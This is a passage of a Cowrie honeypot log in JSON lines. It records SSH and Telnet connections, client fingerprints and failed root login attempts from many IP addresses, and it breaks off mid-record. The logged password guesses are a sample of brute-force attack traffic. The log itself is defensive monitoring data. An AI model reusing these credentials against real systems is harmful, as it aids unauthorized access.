{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":50422,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d7a017cf311","protocol":"ssh","message":"New connection: 51.250.105.222:50422 (10.17.0.5:22) [session: 6d7a017cf311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:04.085119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:04.089632Z","src_ip":"51.250.105.222","session":"6d7a017cf311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:04.217665Z","src_ip":"51.250.105.222","session":"6d7a017cf311","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:04.605772Z","src_ip":"51.250.105.222","session":"6d7a017cf311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:05.737761Z","src_ip":"51.250.105.222","session":"6d7a017cf311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":54892,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3d6cfae5611","protocol":"ssh","message":"New connection: 103.172.78.219:54892 (10.17.0.5:22) [session: b3d6cfae5611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:19.259720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:19.267581Z","src_ip":"103.172.78.219","session":"b3d6cfae5611","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:19.524118Z","src_ip":"103.172.78.219","session":"b3d6cfae5611","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"damien","message":"login attempt [root/damien] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:20.327253Z","src_ip":"103.172.78.219","session":"b3d6cfae5611","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":47638,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e6f4e1de448","protocol":"ssh","message":"New connection: 94.159.98.239:47638 (10.17.0.5:22) [session: 4e6f4e1de448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:20.910781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:20.983886Z","src_ip":"94.159.98.239","session":"4e6f4e1de448","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:21.069027Z","src_ip":"94.159.98.239","session":"4e6f4e1de448","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:21.586196Z","src_ip":"103.172.78.219","session":"b3d6cfae5611","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20051988","message":"login attempt [root/20051988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:21.809767Z","src_ip":"94.159.98.239","session":"4e6f4e1de448","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:23.041223Z","src_ip":"94.159.98.239","session":"4e6f4e1de448","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.64.105.234","src_port":45278,"dst_ip":"10.17.0.5","dst_port":22,"session":"284d1a3c064d","protocol":"ssh","message":"New connection: 20.64.105.234:45278 (10.17.0.5:22) [session: 284d1a3c064d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:31.985979Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:42.036252Z","src_ip":"20.64.105.234","session":"284d1a3c064d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.64.105.234","src_port":59060,"dst_ip":"10.17.0.5","dst_port":22,"session":"870d40e50156","protocol":"ssh","message":"New connection: 20.64.105.234:59060 (10.17.0.5:22) [session: 870d40e50156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:42.093961Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_134.199.244.163_22","message":"Remote SSH version: MGLNDD_134.199.244.163_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:42.099057Z","src_ip":"20.64.105.234","session":"870d40e50156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:42.102962Z","src_ip":"20.64.105.234","session":"870d40e50156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44582,"dst_ip":"159.203.135.109","dst_port":23,"session":"88bb27c44875","protocol":"telnet","message":"New connection: 135.148.14.151:44582 (159.203.135.109:23) [session: 88bb27c44875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:46.487356Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47552,"dst_ip":"159.203.135.109","dst_port":23,"session":"006d1399b2a3","protocol":"telnet","message":"New connection: 135.148.14.151:47552 (159.203.135.109:23) [session: 006d1399b2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:54:58.488676Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.78.143.196","src_port":52904,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac767b96c8ea","protocol":"ssh","message":"New connection: 128.78.143.196:52904 (10.17.0.5:22) [session: ac767b96c8ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:07.740682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:07.745596Z","src_ip":"128.78.143.196","session":"ac767b96c8ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:08.485755Z","src_ip":"128.78.143.196","session":"ac767b96c8ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":36134,"dst_ip":"10.17.0.5","dst_port":22,"session":"2be9cde73428","protocol":"ssh","message":"New connection: 77.94.47.83:36134 (10.17.0.5:22) [session: 2be9cde73428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:10.207465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:10.213269Z","src_ip":"77.94.47.83","session":"2be9cde73428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:10.364065Z","src_ip":"77.94.47.83","session":"2be9cde73428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:10.815000Z","src_ip":"77.94.47.83","session":"2be9cde73428","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:11.959300Z","src_ip":"77.94.47.83","session":"2be9cde73428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password2025","message":"login attempt [root/Password2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:15.038316Z","src_ip":"128.78.143.196","session":"ac767b96c8ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:16.806604Z","src_ip":"128.78.143.196","session":"ac767b96c8ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.2594039440155,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:22.746619Z","src_ip":"135.148.14.151","session":"88bb27c44875","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":34638,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3b5f763bb27","protocol":"ssh","message":"New connection: 147.45.199.80:34638 (159.203.135.109:22) [session: b3b5f763bb27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:27.926684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:27.933373Z","src_ip":"147.45.199.80","session":"b3b5f763bb27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:28.031236Z","src_ip":"147.45.199.80","session":"b3b5f763bb27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oksana12","message":"login attempt [root/oksana12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:28.645010Z","src_ip":"147.45.199.80","session":"b3b5f763bb27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:29.756503Z","src_ip":"147.45.199.80","session":"b3b5f763bb27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35442,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b4d97f7bc7d","protocol":"telnet","message":"New connection: 135.148.14.151:35442 (159.203.135.109:23) [session: 5b4d97f7bc7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:30.224205Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38802,"dst_ip":"159.203.135.109","dst_port":23,"session":"87814bb09c33","protocol":"telnet","message":"New connection: 135.148.14.151:38802 (159.203.135.109:23) [session: 87814bb09c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:34.539303Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38882,"dst_ip":"159.203.135.109","dst_port":23,"session":"6460c3a007d4","protocol":"telnet","message":"New connection: 135.148.14.151:38882 (159.203.135.109:23) [session: 6460c3a007d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:34.697616Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39954,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce38fb8f0daf","protocol":"telnet","message":"New connection: 135.148.14.151:39954 (159.203.135.109:23) [session: ce38fb8f0daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:36.956227Z"}
{"eventid":"cowrie.session.closed","duration":38.83177852630615,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:37.320330Z","src_ip":"135.148.14.151","session":"006d1399b2a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44394,"dst_ip":"159.203.135.109","dst_port":23,"session":"88d0f068e4ea","protocol":"telnet","message":"New connection: 135.148.14.151:44394 (159.203.135.109:23) [session: 88d0f068e4ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:46.262447Z"}
{"eventid":"cowrie.session.closed","duration":120.00651979446411,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:51.606672Z","src_ip":"81.84.21.115","session":"dfc8c6bc129e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.84.21.115","src_port":50770,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba9fafb1bf9a","protocol":"telnet","message":"New connection: 81.84.21.115:50770 (10.17.0.5:23) [session: ba9fafb1bf9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:55:59.675297Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":45028,"dst_ip":"159.203.135.109","dst_port":22,"session":"c056b4caaf57","protocol":"ssh","message":"New connection: 62.133.63.178:45028 (159.203.135.109:22) [session: c056b4caaf57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:56:04.084136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:56:04.096470Z","src_ip":"62.133.63.178","session":"c056b4caaf57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 